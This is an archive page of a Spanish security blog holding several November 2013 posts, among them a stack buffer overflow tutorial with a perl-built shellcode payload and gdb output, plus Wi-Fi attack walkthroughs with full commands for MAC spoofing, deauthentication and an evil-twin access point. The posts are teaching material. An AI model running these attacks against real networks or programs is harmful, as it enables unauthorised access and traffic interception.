30 nov 2013

El troyano #Neverquest se convierte en la nueva amenaza bancaria

Buenas a todos,
Como algunos recordaréis, el pasado mes de julio Kaspersky Labs dio la voz de alarma al detectar la presencia de un nuevo troyano bancario. Según informa la casa de antivirus, este mes se ha detectado una actividad muy significativa, disparándose el número de infecciones en equipos domésticos.
Al parecer, el malware estaría llegando a los usuarios a través de instaladores infectados del tipo Flash Player y similares. Una vez ejecutado, el troyano se despliega en el equipo proporcionando a su botmaster el control de la máquina.
La muestra del malware ha sido bautizada como "Trojan-Banker.Win32/64.Neverquest", por lo que parece ser que solo afecta a sistemas Windows.
El sistema que utiliza Neverquest para robar datos se centra en un sistema de detección de páginas visitadas por el usuario, con el que cuando es detectada una página determinada inyecta un código HTML para robar datos de autenticación y registro.
Es importante reseñar algunos de los datos que solicita Neverquest:
  • Números de las tarjetas de crédito
  • Fecha de caducidad
  • CCV
  • Clave
Como veis, son los datos que se requieren principalmente para hacer compras online. Además, Kaspersky señaló que entre los sitios susceptibles de ataque, está fidelity.com, propiedad de Fidelity Investments, un fondo de inversión global que desde su página web permite a clientes una gran variedad de operaciones online, incluso negociar en Bolsa.
Por el momento, los países más afectados son Alemania, Italia y Turquía, pero ello no quita que no llegue pronto a otros países.
¡Cuidado con los instaladores de flash!
Saludos!

29 nov 2013

Pantalla Pública XXIX

Hola a todos, en el post de hoy volvemos con nuestras pantallas públicas, que nos habéis hecho llegar a nuestro correo info@flu-project.com en los últimos meses.Las primeras fotos nos las envía Gonzalo y en ellas nos muestra algunos pantallazos que ha ido recopilando en los últimos meses.En la primera imagen nos muestra una ventana de alerta en los televisores del AVE:
En la segunda fotografía de hoy Gonzalo nos envía una curiosa pantalla de un cajero automático. ¿Os resulta familiar? :)
En la tercera pantalla de hoy nos envía un monitor de llegadas de una terminal de un aeropuerto:
Finalmente, la cuarta pantalla de hoy nos la envía nuestro amigo Agustin Campos, y en ella nos muestra otra pantalla en la que se puede ver que un error de arranque de un PC:
Eso es todo por hoy, seguid enviándonos pantallas a info@flu-project.comSaludos!

28 nov 2013

Hacking WiFi: Como evitar el filtrado MAC de un AP (Parte 5)

Una media de seguridad para las redes Wi-Fi es filtrar los clientes que se pueden conectar a un AP por la dirección MAC. De esta forma solo podrían acceder a la red wireless los que estén autorizados. Para hacer esto solo tienes que ir a la configuración del router o AP, y ahi verás que hay dos formas para hacerlo. La primera permitiendo(allow) solo una serie de direcciones MAC el acceso a tu red. La segunda denegando(deny) la conexión  a las direcciones MAC que le indiques, teniendo acceso el resto de direcciones. Es una medida de seguridad extra, que aunque te roben la clave del Wifi, no podrán acceder. Aunque veremos ahora que es facil de saltarse la medida.
Vamos a ver como conectarnos a un AP que tiene filtrado MAC de una forma muy sencilla. Lo primero será poner nuestra tarjeta de red wifi en modo monitor y después monitorizar el AP que nos interesa con la herramienta Airodump-ng utilizando la opcion "-c" para indicar el canal en el que queremos monitorizar, "--bssid" para que nos muestre solo la info del SSID que nos interesa. Veremos como la salida que devuelve la herramienta Airodump-ng está dividida en 2 partes. En la de arriba mostrará las estadisticas del BSSID que le hemos indicado y en la de abajo veremos la lista de los clientes que detectamos, y si están conectados a algún punto de acceso o no. De esta forma podremos saber cuales son las MAC que son permitidas por el AP. Es decir, si vemos que hay algún cliente conectado a nuestro AP, quiere decir que esa dirección MAC está en la lista de direcciones permitidas.
# airodump-ng -c 9 -a --bssid 00:1A:2B:XX:XX:E3 mon0
Podemos ver en la imagen de arriba como el AP con la MAC terminada en E3, tiene 2 clientes conectados cuyas direcciones MAC terminan en BF y A6. Ahora solo tendremos que suplantar nuestra MAC por una de estas 2 que sabemos que son aceptadas por el AP con la herramienta Macchanger.
Y ya estaremos en condiciones de conectarnos al AP que tiene filtrado por MAC.
Artículo cortesía de Roberto (HighSec)
@leurian

27 nov 2013

Raspberry PI desde cero (Parte 1)

Buenas a todos, en la cadena de artículos que hoy damos comienzo nos gustaría hablaros de algunas de las miles de cosas que podréis hacer con un dispositivo Raspberry PI, desde cero.
Hace algunas semanas me decidí finalmente a comprar una Raspberry PI con la idea de instalar en ella un Kali Linux y utilizarla durante los procesos de Auditoría de Seguridad Interna. Los que os dedicáis a estas labores ya sabéis lo habitual que es dejar un portátil toda la noche capturando tráfico de red, ejecutando algún script o lanzando alguna herramienta tipo Nessus a un barrido de IPs. Tareas que tardan varias horas, y que se pasan mejor en la cama planchando la oreja, que delante del PC con un paquete de Red Bulls... :) Y como la idea de dejar el portátil sin vigilar no es una de mis preferidas, para mi se hacía esencial contar con un dispositivo tan económico como una Raspberry que aunque cayese en manos de los amigos de lo ajeno no me supusiese una pérdida de valor.
Al final y como era obvio, cuando tienes un dispositivo tan pequeño, barato y polivalente entre las manos... te lías, y acabas utilizándolo para cosas inhóspitas y que nunca te planteaste al adquirirlo, y sobre eso es de lo que hablaremos en esta cadena de posts.
Pero empecemos por el principio, ¿para qué cosas podemos utilizar una Raspberry PI? Pues quién mejor que Google para contestarnos a esta compleja pregunta.
Entre los primeros enlaces de la búsqueda encontraréis un post de Xataka Home en el que nos proponen 10 curiosas maneras de sacar el máximo partido a una Raspberry PI:
  1. Ordenador
  2. Media Center
  3. Videojuegos 
  4. Tablet
  5. Hogar inteligente
  6. Internet radio
  7. Robótica
  8. NAS casero
  9. Receptor AirTunes 
  10. Café y Raspberry Pi
Cómo veis, el límite está en vuestra imaginación (cómo le gusta decir a mi compañero Pablo).
Sobre dónde podréis adquirir la Raspberry Pi, tenéis multitud de tiendas por Internet en las que encontraréis el terminal a un precio que ronda los 35€-40€ (solo la placa) y a 60€-70€ si la adquirís en algún pack con tarjeta SD, cable HDMI, cargador, etc. Yo me decanté por comprarla en una tienda de electrónica de Móstoles dónde toda la vida he comprado cacharros varios, por 33€+IVA. Y por otro lado, compré una caja trasparente en dx.com por 3€ (http://dx.com/p/raspberry-pi-acrylic-case-transparent-197133). El resto de cables necesarios ya los tenía por casa.
Cómo los envíos de dx.com se hacen esperar, decidí fabricarme una caja casera para proteger la placa. Para ello descargué las plantillas desde la siguiente web:
Aquí tenéis el resultado, no es lo más elegante, pero al menos se encuentra protegida :)
Colores "Furgoneta Equipo A)":
Cómo veis suelo utilizar un acumulador de batería para cargar los móviles (cortesía de eset, ¡gracias majos!), que viene muy bien como alimentador para la Raspberry cuando no tienes un enchufe a mano.
Una vez que tenemos el dispositivo, lo siguiente será elegir cuál será su primer uso. En mi caso fue instalar Kali, para ver como se comportaba la Raspberry con su limitado procesador contra una distribución más o menos exigente. Para ello me leí la documentación de la web de Kali:
 Como veis la instalación es realmente básica, y basta con descargar la ISO de Kali adaptada a Raspberry y clonarla sobre una tarjeta SD de 8GB o más:
 El comando para copiar el contenido de la ISO (tras descomprimirla) a la SD sería el siguiente (cambiando sdb por el correspondiente en vuestro caso):
root@kali:~ dd if=kali-pi.img of=/dev/sdb bs=512k
Otra alternativa para realizar este proceso, si sois Windows users, es utilizar la herramienta Win32 Disk Imager:
Su uso también es muy sencillo, y basta con ejecutar la herramienta y seleccionar desde un menú gráfico la ISO de Kali y la tarjeta SD:
Una vez seleccionadas pulsaremos sobre "Write" y en unos minutos tendremos nuestra SD lista.
El siguiente paso será introducir la SD en la Raspberry y conectarla a un televisor para probar su funcionamiento:
Como veréis, si utilizamos Kali en modo consola funciona muy fluida, pero en cuanto lancemos startx, veremos como la Raspberry no es capaz de mover la distribución de una manera ágil (al menos en mi caso, y no hablemos ya de ejecutar alguna herramienta gráfica que consuma bastantes recursos)
Cuando padecemos estos problemas con alguna distribución tenemos la posibilidad de hacer overclocking. Nuestra Raspberry (modelo B) cuenta con un procesador ARM de 700MHz, pero podremos subir la velocidad mediante “overclocking” hasta 1GHz (sin perder la garantía). Para ello, en función de la distribución instalada en la SD se realizará de diferentes maneras, pero eso lo veremos en próximos posts :)
Saludos!

26 nov 2013

El orgullo verde: El rincón de pensar

El rincón de pensar es el rincón dónde te mandan de niño cuando haces alguna acción maliciosa, errores de niño, errores que deben enseñarte a no realizar. Para mi Flu Project es ese rincón, un sitio dónde todos aprendemos de todos, de las cosas que otros hacen bien, de las cosas que queremos que otros analicen para ver si merecemos irnos a pensar o no. Pero hoy no presentamos un rincón, el cual es el tema del artículo, si no la sección del orgullo verde, porque al final uno tiene que estar contento con lo que hace en la vida, y por ello, me siento orgulloso de Flu Project, del bicho verde, de las críticas, de los halagos, pero sobretodo de que la gente te diga que aprenden, que les gusta que compartas el conocimiento, que el conocimiento de todos fluya, y por todas estas razones tengo que decir que el orgullo verde será el rincón dónde diremos lo que opinamos sobre los temas que nos rodean en el mundo de la informática. Hay que recordar que el mundo que nos rodea es el de la seguridad y sobre estos temas nos enfocaremos. 

La seguridad es un mercado en auge, el cual es muy muy grande. En este mercado se junta gente muy técnica, a la cual matarías si la cortas las alas para volar y desarrollarse en ese mundo técnico, inaccesible para muchos. Existe gente, la cual empezó siendo técnica y ha ido mudando su hábitat hacia un mundo de gestión, los cuales son capaces de amoldarse a dicho entorno, guiados por ganas de evolucionar, de supervisar y porqué no, por ganar más pasta. Por último, existe gente enfocada directamente al mundo de la gestión, ISOs, Análisis de riesgos, metodologías, etcétera. Un mundo difuso para un técnico, un mundo lógico para el de gestión. La eterna lucha, no son ni mejor ni peor, son puntos de vista los cuales son guiados hacia el mismo punto, fortificar sistemas, encontrar fallos y que se solucionen, hacer bien su trabajo ayudando a qué la seguridad en los mundos telemáticos sea mayor.

Por otro lado tenemos una de las vías de investigación estrella en el mundo académico el cual es la economía de la seguridad. En esta línea podemos encontrar diversos trabajos que hablan sobre lo que mueve realmente la seguridad, la pasta, lo que de verdad importa, ¿Por qué es importante la seguridad? Realmente es algo, que a muchos empleados del mundo de la seguridad se les puede escapar. Al final todo tiene un porqué y la seguridad no escapa de ello.

Pero hoy me centraré en una de las características de objeto de estudio de la economía de la seguridad, y es la economía de la privacidad o Economics of Privacy. Sabemos que las nuevas tecnologías son el motor de la humanidad, y es algo que no nos pilla por sorpresa, cada vez más personas están interconectadas con el resto del mundo. La privacidad es un derecho fundamental de cada usuario, al menos en la mayoría de los países, pero este hecho de la seguridad no se establece por defecto en los sistemas de información, los cuales podrían adoptar directamente una política para contrarrestar esto o verse afectados por externalidades de red.

En los últimos años han existido tecnologías para mejorar la privacidad de los usuarios en el uso de las nuevas tecnologías, pero han ido fracasando o teniendo poca aceptación en global. La economía es el factor que ha provocado que podamos decir esto respecto al mundo de la seguridad. El nacimiento de Internet trajo consigo muchas vías explotables para que le desarrollo del ser humano, y algunas por supuesto negativas. Uno de los pilares que trajo Internet era la privacidad y el anonimato, pero esto en la práctica ha sido un fracaso, o al menos no se han logrado como se entendían. Entre otras razones, esta es una que provoca el nacimiento de proyectos y redes como TOR, cuyo objeto de deseo es el de proporcionar anonimato a los usuarios que navegan por Internet. Es sabido que estas redes no son 100% seguras, en el ámbito del anonimato, ya que existen casos en los que se ha podido encontrar datos sobre el usuario que las ha utilizado, ya sea por vulnerabilidades en el navegador utilizado por TOR, por la inclusión de nodos falsos en la red cuya misión era obtener información del usuario, entre otras posibles acciones ó incluso técnicas más complejas como ataques estadísticos como se pudo leer en el lado del mal.

El proyecto TOR es una herramienta contra la lucha de incentivos, ya que como en los casos expuestos en la economía de la seguridad, los incentivos de cada agente que interviene en esta economía son distintos. En muchos casos gobiernos, proveedores de servicios u otros usuarios maliciosos están interesados en poder apoderarse de datos privados debido a distintos fines. En este último año la privacidad de los usuarios se ha visto altamente golpeada con los casos de la NSA. La NSA ha defendido que ellos han filtrado el 4% del tráfico mundial, con todo lo que ello conlleva en datos de usuario, pero por el contrario analistas han defendido que la NSA ha podido filtrar hasta el 96% del tráfico mundial. Estos hechos se acercan al mundo del ciberespionaje, que en realidad es una variante de la privacidad de todos en Internet, llevado a un nivel más alto. Todo hace indicar que redes como TOR no han sido suficientes en el caso de la NSA.

25 nov 2013

Herramientas forense para ser un buen CSI. Parte XLI: Xbox 360 [II]

Buenas a todos, en el post de hoy vamos a continuar con la cadena Herramientas forense para ser un buen CSI. Parte XL: Xbox 360 [I] que comenzamos hace algunas semanas hablando sobre como analizar una Xbox 360.
Si habéis seguido nuestra guía paso a paso ya habréis logrado extraer el disco duro de la videoconsola, y ya estaréis en disposición de conectarla a un PC para estudiar su contenido. Pero antes de ponernos manos a la obra será interesante que aprendamos el tipo de sistema de ficheros y particiones que nos vamos a encontrar. Por ello, a modo resumen os listo a continuación los principales detalles del sistema de ficheros y de las particiones.
Los modelos de Xbox 360 hacen uso del sistema de ficheros FATX. Se trata de un formato propietario de Microsoft, derivado de FAT16 y FAT32, pero incompatible con dichas versiones. Contiene seis particiones:
  • Configuración del disco
  • Cache 1
  • Cache 2
  • Cache 3
  • Ficheros del sistema
  • Contenedor de juegos y aplicaciones
A continuación os muestra una pequeña tabla con las rutas donde se encuentran los archivos más interesantes:


  • La etiqueta <TitleID> se corresponde con el ID del videojuego. Podéis encontrarlas aquí: http://360.kingla.com/
  • La etiqueta <ProfileID> se corresponde con la carpeta del perfil de los usuarios.
Cómo os imagináis nuestras herramientas forenses habituales no son capaces de leer FATX, por lo que tendremos que hacer uso de algunas herramientas especiales, pero que son muy comunes en el mundo del "flasheo" de videoconsolas. Hoy trabajaremos con dos de ellas, FATXplorer y Xplorer360.
Una vez que conectemos el disco duro de la Xbox a nuestro PC, podremos clonarlo con nuestra herramienta preferida, o abrirlo directamente con alguna de las herramientas que veremos a continuación:
FATXplorer

FATXplorer is the ultimate Xbox 360 storage device explorer. Designed with speed, compatibility, and reliability in mind, FATXplorer aims to be at the forefront of your Xbox 360 tool arsenal. FATXplorer makes your exploration into the Xbox 360′s most interesting file systems more exciting than ever. With full support for every partition across a multitude of devices, you can uncover hidden system files, reformat devices for a fresh start, and even speed up your Xbox LIVE experience with optimized system folders! Ever lose valuable content you put hard work into? FATXplorer’s Recovery View allows you to see every deleted item on your device and even recover them with ease and little frustration. Want to use more than 32 GB of your USB device? FATXplorer has a formatter to extend your content storage up to 2 TB! Don’t have time to learn all the secrets in a cloned file explorer? FATXplorer is different. With Windows Integration, storage devices can be integrated into Windows with the help of a driver. With this driver, you can browse your content like you would a normal USB flash drive and utilize common features like copy, paste, open, and more! With FATXplorer’s vast feature set, there is something to please anyone who owns an Xbox 360 console and wants to have full control over their stored content.
Como veis, FatXplorer es una herramienta que además de permitirnos abrir, navegar y extraer información del disco duro de la Xbox 360, nos permitirá formatearlo e incluso recuperar archivos eliminados:
También, y al igual que otras herramientas nos dará extensa información sobre el disco:
A continuación os dejo una captura sobre el disco duro de una Xbox que pude analizar hace algún tiempo, donde se pueden ver las partidas guardadas:

 Xplorer360
Xplorer360 es una herramienta algo menos potente que la anterior, pero gratuita, y que nos permitirá navegar igualmente por el disco duro de la videoconsola de una manera rápida y sencilla:

Como veis es menos visual que FatXplorer, que nos previsualiza el contenido de los archivos y tiene una interfaz más cuidada.
En el próximo artículo de la cadena seguiremos viendo herramientas para analizar las xbox 360
Saludos!

24 nov 2013

Informe Flu - 151



Como cada semana compartimos con vosotros los “Enlaces de la semana”: 

Lunes 18 de Noviembre
Martes 19 de Noviembre
Miércoles 20 de Noviembre
Jueves 21 de Noviembre
Viernes 22 de Noviembre
Sábado 23 de Noviembre
Saludos!

23 nov 2013

Explotación Software – Parte III – Escribiendo nuestro primer exploit

 Tras los dos primeros capítulos ya estamos listos para preparar un exploit que nos permita ejecutar código en el programa vulnerable. Si recordamos, en el primer capítulo modificabamos la ejecución del programa apuntando la dirección de retorno de una función, para ejecutar nuestro shellcode seguiremos la misma premisa aunque añadiremos una técnica adicional para mejorar la efectividad de nuestro exploit.NOP Sled o NOP SlideA la hora de escribir un exploit para un programa vulnerable debemos tener en cuenta que este programa puede ser compilado en diferentes entornos que provocarán que las direcciones de memoria no sean siempre las mismas. Para solucionar este problema se utiliza una técnica conocida como NOP sled (o slide o ramp) que consiste en enviar la ejecución del programa a una zona de memoria rellenada con instrucciones NOP.La instrucción NOP en ensamblador se encarga de no hacer nada, simplemente gasta un ciclo de CPU sin realizar ningún proceso, de ahí su utilidad.En la imagen podéis ver como sería el funcionamiento, la dirección de retorno apunta a una dirección en medio de los NOPs y la ejecución continua directamente hasta el inicio del shellcode. Para calcular cuantos NOPS nos caben restamos los bytes de nuestro shellcode al tamaño total de buffer, en nuestro caso el shellcode mide 42 bytes, por lo que debemos restarlos a los 64 bytes reservados por el buffer, dando como resultado 22bytes libres para almacenar los NOPs que se representan con 0×90 en memoria para arquitecturas x86.Siguiendo este procedimiento tenemos que nuestro payload será 64bytes (22bytes NOP + 42 bytes shellcode) + 4 bytes EBP + 4 Bytes RET por lo que solo tendremos que preparar nuestro payload y pasarselo a nuestro programa para que se ejecute nuestro código.Nota: Existen diferentes factores que modifican la tarea de preparar el exploit, por ejemplo en las versiones mas modernas de Linux aunque nosotros reservemos 64bytes del buffer esto no significa necesariamente que nuestro buffer vaya a medir 64bytes. Ademas la ejecución de nuestro programa vulnerable dentro o fuera de GDB hace que la estructura del stack varíe. No obstante que este ejemplo se entienda dejaremos a parte estos problemas y trabajaremos dentro de gdb para poder ver como nuestro exploit trabaja en la memoria.Preparando el exploitUna vez que ya tenemos nuestro shellcode, sabemos cuantos NOPs debemos utilizar solamente nos queda averiguar cual es la dirección de retorno que debemos usar para enviar la ejecución al NOP sled. Para esto ejecutaremos el programa en el debugger y rellenaremos el buffer para reconocer facilmente donde estará alojado nuestro payload:

(gdb) run
Escriba la contraseña:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, leer_pwd () at codigo.c:7
7    }
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0×41414141    0×41414141    0×41414141
0xbffff48c:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff49c:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff4ac:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff4bc:    0×41414141    0xbffff4c8    0×08048473    0xbffff548
(gdb)

Como se puede ver nuestro buffer empieza en 0xbffff480 por lo que deberemos apuntar a esa zona nuestra dirección de retorno, en mi caso he elegido 0xbffff489 que cuadra con el centro de los NOPs que pasaremos con el exploit.Ahora que ya tenemos la dirección que usaremos, prepararemos el exploit de la siguiente manera:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf"' > payload
Como veis tenemos nuestro NOP sled, seguido del shellcode y por último nuestra dirección de retorno repetida varias veces, esto es así para asegurarnos que realmente sobreescribimos EIP.Por último ya solo nos queda ejecutarlo para comprobar el funcionamiento:

//Pasamos el exploit al programa
(gdb) run < payload
Breakpoint 1, leer_pwd () at codigo.c:7
7    }
//Estado del buffer tras almacenar el payload
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0×90909090    0×90909090    0×90909090
0xbffff48c:    0×90909090    0xc0319090    0xc931db31    0x04b0d231
0xbffff49c:    0x206801b3    0x6820293b    0×63657368    0×69482068
0xbffff4ac:    0x6f486867    0xe189616c    0x80cd0fb2    0xdb3101b0
0xbffff4bc:    0xbffff489    0xbffff489    0xbffff489    0xbffff489
//Nuestra dirección de retorno ha pisado eip como se puede ver a continuación.
(gdb) info frame
Stack level 0, frame at 0xbffff4c8:
eip = 0×8048469 in leer_pwd (codigo.c:7); saved eip 0xbffff489
called by frame at 0xbffff491
//Al continuar la ejecución del programa nuestro shellcode se ejecuta mostrando “Hola Highsec ; )”
(gdb) c
Continuing.
Hola Highsec ; )
Y finalmente ya hemos ejecutado nuestro shellcode en el programa vulnerable.Espero que os haya gustado, y como siempre cualquier duda u opinión es bienvenida.
Artículo cortesía de Adrián – adrian@highsec.es – @shellshocklabs

22 nov 2013

Los Pipes! (C Boys)

Hoy volvemos rememorando ejercicios pasados, hoy hablamos de pipes, esas graciosas tuberías que servían para comunicar información entre procesos. Esas tubería unidireccionales, con las que un proceso leía y en las que otro escribía. Aquellas tuberías en las que nos perdíamos, se nos rompían y en ocasiones nos llegaban bytes de más. Porque aún me acuerdo de ellas, porque aún sé lo que son y porque al final consiguieron que en distintos exámenes me sintiera orgulloso, por eso hoy os traemos los pipes.
Problema: 
Realice un programa en C denominado ping-pong. Dicho programa consistirá en dos procesos hijos. El proceso hijo1 enviará la cadena "ping" a lo que el proceso hijo2 responderá con la cadena "pong". La ejecución se limitará a diez iteraciones, tras lo cual ambos procesos terminarán su ejecución.
Nuestra solución:
En primer lugar se inicializarán las tuberías (se necesitan dos, ya que como son unidireccionales, la primera servirá para que el proceso 1 mande PING al proceso 2, mientras que la segunda servirá para que el proceso 2 mande PONG al proceso 1) crearán los dos procesos hijos mediante la instrucción fork(). Los procesos hijos llamarán a su función correspondiente, mientras que el padre no hace nada y se queda a la espera de que los procesos hijos finalicen.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char *ping = “PING”;
char *pong = “PONG”;
int
main(int argc, char *argv[]){
int tuberia1[2], tuberia2[2];
int i;
int hijo;
if(pipe(tuberia1)== -1){
perror(“error”);
exit(EXIT_FAILURE);
}
if(pipe(tuberia2)== -1){
perror(“error”);
exit(EXIT_FAILURE);
}
for(i=0;i<2;i++){
hijo = fork();
if(hijo == -1){
perror(“error”);
exit(EXIT_FAILURE);
}
if(hijo == 0){
if(i==0){
hijo1(tuberia1,tuberia2);
exit(EXIT_SUCCESS);
}
if(i==1){
hijo2(tuberia1,tuberia2);
exit(EXIT_SUCCESS);
}
}
if(hijo > 0){
//padre nada!
}
}
for(i=0;i<2;i++){
wait(NULL);
}
}
Bien ahora vamos a especificar lo que hacen las funciones hijo1 e hijo2. La función hijo 1 recibe las dos tuberías comentadas anteriormente y lo primero que hace cerrar las partes de dichas tuberías que no utilizará. Después escribe en la tubería 1 la cadena PING y entra en un bucle en el cual repetirá el proceso 9 veces más, quedando a la escucha del recibir el PONG. Por otro lado la función hijo2 lo primero que hace es cerrar las partes de las tuberías que no utilizará y queda a la espera de recibir el PING para realizar el PONG, todo ello dentro del bucle.

int   count = 0;
close(pipe[0]);
//control errores
close(pipe2[1]);
//control errores
write(pipe[1],ping,strlen(ping));
count++;
while(count<10){
read(pipe2[0],buf,sizeof(buf)); //espera del pong!
printf(“%s\n”,buf); //imprimo lo que reciba
if((strcmp(buf,pong))==0){ //si recibo un pong!
write(pipe[1],ping,strlen(ping)); //escribe un ping!
count++;
}
}
}
void hijo2(int pipe[2], int pipe2[2]){
char buf[4096];
int count = 0;
close(pipe[1]);
//control errores
close(pipe2[0]);
//control errores
while(count<10){
read(pipe[0],buf,sizeof(buf));
if((strcmp(buf,ping))==0){
printf(“%s\n”,buf);
write(pipe2[1],pong,strlen(pong));
count++;
}
}
}

Con este ejercicio aprendíamos a entender bien el funcionamiento de los pipes. El siguiente paso era utilizar la llamada al sistema dup2 para duplicar una entrada o salida estándar y ejecutar ciertos comandos obteniendo las salidas o entradas en dicho binario, pero esto lo podremos ver más adelante…
Saludos!

21 nov 2013

Hacking WiFi - Parte 4 - Ataques Hotspot: Obligando a la victima a conectarse a mi

Vamos a crear un Soft AP. Es un AP creado a partir de un software en nuestra tarjeta de red, ya sea la propia del ordenador, o la que hemos conectado por USB con capacidad de inyectar trafico (si no es capaz de inyectar la tarjeta, no seremos capaces de desautenticar a la víctima del AP legitimo). Habrá pasos que de por obvios porque ya se han tocado en partes anteriores de la serie.

Lo que haremos será  desconectar a la victima de la red abierta a la que está conectada para que se conecte a la nuestra que tendrá el mismo nombre, y de esta forma no notará nada. Para hacer esto primero mandaremos paquetes de De-Autenticación al AP legítimo para que la victima se desconecte, y después crearemos un AP abierto con el mismo nombre para que el dispositivo de la víctima se conecte a nosotros.

Una vez está conectado a nosotros podemos redirigir su tráfico al AP legitimo y asi estar de MITM capturando todas sus comunicaciones, o directamente dejarlo salir a internet.

Comencemos con la parte práctica:

# airmon-ng start wlan1

# airodump-ng mon0

Y me pondré el ESSID del AP abierto. El AP lo vamos a crear con la herramienta Airbase-ng. Hay que hacerlo en la interfaz en modo monitor.

# airbase-ng -a AA:AA:AA:AA:AA:AA -e <nombre_AP_falso> mon0

Podemos ver el mensaje que dice que ha creado una interfaz at0 (que sería la equivalente a la interfaz de cable que tiene un AP, es decir, un AP tiene la interfaz Wi-Fi por donde emite y se conectan los clientes; y tiene otra interfaz de cable por donde el AP se conecta a internet). Pero esta interfaz at0 no está levnatada, si quisiésemos capturar el tráfico que pasa por aquí, es decir el de la víctima tendríamos que activarla nosotros mismos:

# ifconfig at0 up

Ahora forzaremos al cliente que está conectado AP legítimo, que se desconecte de este generando unos paquetes que se llaman de Desautenticación que sirven para desautenticar a la víctima.

# aireplay-ng --deauth 0 -a <mac_AP> mon0

¡Para esto debes de estar en el mismo canal que el AP! Entonces lo que haremos será poner nuestra interfaz wlan0 y mon0 en el mismo canal que el AP legitimo, para poder hacer el ataque de de-autenticación.

# iwconfig wlan0 channel 11

# iwconfig mon0 channel 11

Y podemos ver como nos aparece que se ha conectado alguien a nuestro Soft AP.

No tenemos servidor DHCP configurado en nuestro Soft AP, entonces la víctima no puede recibir una direción IP, por lo que al cabo del tiempo se autoconfigura con una IP del tipo 169.X.Y.Z puesto que nadie le ha dado una IP. En mi caso particular la victima es el Iphone con el ultimo IOS y no aparecería el simbolito de que estamos conectados a una red Wifi puesto que no tenemos aun conexión a internet, pero si nos vamos a la configuración de la red podemos ver como efectivamente tenemos una dirección IP de ese tipo.

Lo que haremos será ponernos en nuestro ordenador una IP de este rango a la interfaz at0:

# ifconfig at0 169.254.174.226 netmask 255.255.255.0 up

Y si le hacemos un ping a la victima, veremos que nos responde =) Es decir, podríamos hacer hacerle Information Gathering, un Analisis de Vulnerabilidades, etc.

Más adelante veremos como darle conexión a internet a la víctima par estar de MITM.

Con este miso método se podrían realizar ataques a clientes que no estén conectados a ninguna red. Cuando estos pregunten por una red abierta con los paquetes probe request (con una red en especifica), tan solo tendríamos que crear esta misma red, de esta forma el dispositivo se conectaría a ti.

podemos ver como determinados dispositivos están preguntando por determinados APs, que si fuesen abiertos podriamos crearlos y ya tendríamos al dispositivo conectado a nosotros sin que la víctima se diese cuenta! Por seguridad las ultimas versiones de los sistemas operativos ya no utilizan los probes request con un AP en especifico para evitar este ataque, hacen el probe request al broadcast y son los AP los que contestan los probe responses indicando de su presencia.La primera vez que te conectas a un punto de acceso, se te añade el ESSID a tu lista de redes WiFi. Y siempre que el cliente se encuentre con este punto de acceso se conectará automáticamente a él sin preguntar nada al usuario, a no ser que lo configures para que te pregunte cada vez que hay una posibilidad de conectarte (RECOMENDADO!).

Gracias a esto se va generando una tabla de puntos de acceso y contraseñas. El cliente automáticamente mandará paquetes probe request para ver si encuentra redes Wi-Fi de su lista.

Las redes que tiene almacenadas el cliente pueden ser de 3 tipos:

- Sin autenticación - WEP - WPA/WPA2

Cada uno de ellos tendrá una forma distinta de hacer que el cliente se conecte a ti. Por ahora hemos visto el caso en el que la red sea abierta.

El problema es que el cliente no autentica que el AP es el que dice ser, es decir, que no comprueba si el AP es el legitimo o es un atacante. Entonces cualquier puede poner un AP con el nombre por el que el cliente está preguntando.

Artículo cortesía de Roberto (@leurian)

20 nov 2013

Honeypots en la securización de redes científicas I

Introducción

¿Qué es un honeypot?

Un honeypot es una trampa destinada a emular con distinto grado de interacción un servicio, máquina o infraestructura de red. Entre los muchos medios de los que dispone el especialista/investigador de seguridad informática, tienen especial relevancia como mecanismo de detección de amenazas y recopilación de material empleado en estas.

El objetivo de este artículo y los siguientes es el de divulgar mi experiencia con dichas herramientas y el análisis de la información que se recopiló durante casi tres años trabajando en su implantación en la red informática de la Universidad de Granada, y que finalmente terminó siendo mi proyecto final de carrera. Creo que podrá ser de interés al lector por dos motivos, por un lado son herramientas no tan populares como los tradicionales sistemas de detección de intrusiones (IDS/IPS), pero que tienen un enorme potencial, y por otro  al tratar un escenario como es una red científica, que tiene aspectos muy distintos al de las tradicionales redes corporativas.

Ventajas aportadas por los honeypot

No es mi intención destacar la mayor o menor conveniencia de estas herramientas frente a otras, pues no tiene sentido. La seguridad es algo global en una infraestructura de red que debe ser  contemplada a todos los niveles haciendo uso simultáneo de múltiples soluciones. Dicho esto cabe destacar que los honeypots tienen ciertas propiedades que han sido sumamente beneficiosas en este escenario:

  • Para empezar son elementos de detección pasiva, es decir, no implican un análisis activo del tráfico que circula por la red. Esto resulto crucial, porque una de las restricciones más fuertes con la que nos encontramos en una red científica, es la de evitar el peliagudo tema de la intromisión en privacidad de las comunicaciones. El usuario no es un empleado trabajando con medios de la empresa en tareas de la misma, si no personal investigador, estudiantes, personal laboral, empresas externas con contratos en el desarrollo e implantación de algún servicio etc, que son susceptibles de verse “heridos” por intromisión en sus comunicaciones.
  • Otra característica de este tipo de redes es la no seguir una distribución tradicional por zonas como se trata la teoría de seguridad perimetral. Mientras que la empresa reduce, en la medida de lo posible, a la mínima expresión su zona desmilitarizada (DMZ), en una red científica la DMZ puede llegar a alcanzar un tamaño gigantesco. Ya no solo tenemos segmentos de red privada con acceso desde y hacia el exterior, si no también segmentos completos de subredes públicas. Esto supone a priori un volumen de tráfico, que más que pese a los fabricantes de soluciones IDS por hardware, o es inmanejable o la solución no tiene un coste asumible.

¡Manos a la obra!

Material del experimento

